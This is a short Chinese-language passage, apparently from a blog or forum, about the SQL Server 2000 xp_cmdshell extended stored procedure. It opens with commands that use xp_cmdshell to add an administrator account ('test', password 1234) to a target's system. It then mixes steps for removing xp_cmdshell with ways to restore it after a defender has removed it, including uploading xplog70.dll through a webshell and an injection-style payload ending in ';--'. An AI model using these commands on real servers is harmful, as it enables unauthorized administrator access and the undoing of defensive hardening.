exec master..xp_cmdshell 'net user test 1234 /add'和exec master..xp_cmdshell 'net localgroup administrators test /add'
这样对方的系统就被添加了一个用户名为test,密码为1234,有管理员权限的用户,如图一所示。
删除方法为:
到sql server的查询分析器中,试用存储过程sp_dropextendedproc就可删除xp_cmdshell这个存储过程。
格式为:EXEC sp_dropextendedproc 'xp_cmdshell'
需要时可使用sp_addextendedproc恢复
格式为:EXEC sp_addextendedproc xp_cmdshell,'xplog70.dll'。
彻底删除SQL Server2000的xp_cmdShell扩展存贮过程
一、xp_cmdshell的删除及恢复
1、判断xp_cmdshell是否存在
(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')
返回结果为1就ok
2、恢复xp_cmdshell的方法
删除扩展存储过过程xp_cmdshell的语句
exec sp_dropextendedproc 'xp_cmdshell'
恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and
返回结果为1就ok
否则需上传c:\inetput\web\xplog70.dll后
exec master.dbo.sp_addextendedproc 'xp_cmdshell',’c:\inetput\web\xplog70.dll’;--
注:这个方式适用于在webshell中上传。。。。。
如果是用以下方法删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
则可以用以下语句恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
3.彻底删除xp_cmdshell扩展存储过程
使用上面介绍的删除语句后,在磁盘上找到xplog70.dll这个文件。改名或者删除这个文件。